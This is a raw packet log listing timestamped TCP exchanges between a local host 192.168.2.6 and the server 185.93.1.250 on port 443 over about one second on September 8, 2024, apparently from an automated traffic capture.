Sep 8, 2024 09:53:35.980201960 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.980216980 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.980330944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.980345011 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.980374098 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.980381966 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.980407953 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.980802059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.980814934 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.980850935 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.980856895 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.980878115 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.980995893 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.981008053 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.981038094 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.981043100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.981074095 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.981458902 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.981472015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.981504917 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.981509924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.981518984 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.981533051 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.981539011 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.981570005 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.981576920 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.981614113 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.066241026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.066261053 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.066333055 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.066346884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.066386938 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.067415953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.067429066 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.067481041 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.067486048 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.067517042 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.067538977 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.067862034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.067879915 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.067923069 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.067928076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.067953110 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.067966938 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.068444014 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.068459988 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.068509102 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.068515062 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.068537951 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.068564892 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.068764925 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.068780899 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.068826914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.068831921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.068852901 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.068866014 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.069273949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.069288969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.069344997 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.069350958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.069391966 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.069592953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.069611073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.069653034 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.069657087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.069686890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.069710016 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.069941044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.069953918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.069998026 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.070003033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.070029974 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.070040941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.153295994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.153320074 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.153383017 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.153395891 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.153430939 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.154141903 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.154156923 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.154202938 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.154210091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.154242039 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.154465914 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.154479980 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.154525042 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.154530048 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.154563904 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.155236006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.155256033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.155297995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.155303001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.155333042 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.155535936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.155553102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.155591011 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.155596972 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.155630112 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.155901909 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.155920982 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.155950069 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.155953884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.155978918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.155997038 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.156280041 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.156294107 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.156349897 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.156354904 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.156387091 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.157088995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.157102108 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.157154083 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.157160044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.157190084 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.240434885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.240457058 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.240578890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.240593910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.240633965 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.240998983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.241012096 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.241053104 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.241059065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.241082907 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.241103888 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.241331100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.241343021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.241386890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.241393089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.241425991 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.242281914 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.242295980 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.242342949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.242347002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.242379904 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.242563963 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.242577076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.242624044 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.242628098 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.242659092 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.243067980 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.243081093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.243125916 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.243129969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.243161917 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.243182898 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.243196011 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.243237019 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.243241072 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.243272066 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.244510889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.244524956 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.244580030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.244585991 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.244613886 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.327635050 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.327673912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.327837944 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.327860117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.327902079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.328253031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.328268051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.328334093 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.328341007 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.328388929 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.328840017 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.328860044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.328922987 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.328927994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.328963995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.329523087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.329538107 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.329603910 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.329611063 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.329653978 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.330029964 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.330044031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.330110073 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.330115080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.330157042 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.330315113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.330333948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.330419064 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.330424070 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.330485106 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.330780029 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.330794096 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.330862999 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.330868006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.330904961 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.414220095 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.414266109 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.414365053 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.414391041 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.414403915 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.414428949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.414617062 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.414635897 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.414691925 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.414697886 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.414735079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.415247917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.415261984 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.415308952 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.415313959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.415344000 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.415364027 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.415549994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.415569067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.415613890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.415621042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.415657043 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.416457891 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.416471958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.416516066 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.416521072 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.416544914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.416564941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.417043924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.417057037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.417114019 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.417119980 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.417162895 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.417387962 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.417402029 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.417454958 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.417459965 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.417500973 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.417788982 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.417802095 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.418052912 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.418052912 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.418057919 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.418100119 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.501617908 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.501637936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.501816988 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.501844883 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.501864910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.501888037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.501899958 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.501938105 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.502399921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.502423048 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.502475977 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.502480984 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.502593040 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.502612114 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.502645969 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.502650023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.502686977 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.503410101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.503422976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.503475904 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.503483057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.504065990 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.504084110 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.504118919 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.504125118 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.504151106 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.504394054 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.504405022 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.504452944 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.504463911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.505043030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.505060911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.505095959 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.505101919 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.505114079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.549721003 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.588495970 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.588517904 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.588653088 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.588661909 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.588704109 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.589268923 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.589282990 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.589345932 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.589350939 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.589386940 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.589515924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.589529037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.589564085 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.589575052 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.589587927 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.589605093 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.589740038 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.589754105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.589802027 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.589807034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.589840889 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.590528965 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.590544939 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.590595961 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.590600967 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.590641022 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.591506958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.591521025 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.591573954 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.591581106 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.591619015 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.591698885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.591717005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.591747046 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.591751099 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.591774940 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.591794968 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.592050076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.592062950 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.592117071 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.592123032 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.592155933 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.675441027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.675471067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.675523996 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.675533056 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.675566912 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.675589085 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.676018953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.676035881 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.676095009 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.676105976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.676140070 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.676601887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.676615953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.676661968 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.676666975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.676692009 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.676704884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.676970959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.676990032 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.677017927 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.677021980 CEST	443	49710	185.93.1.250	192.168.2.6
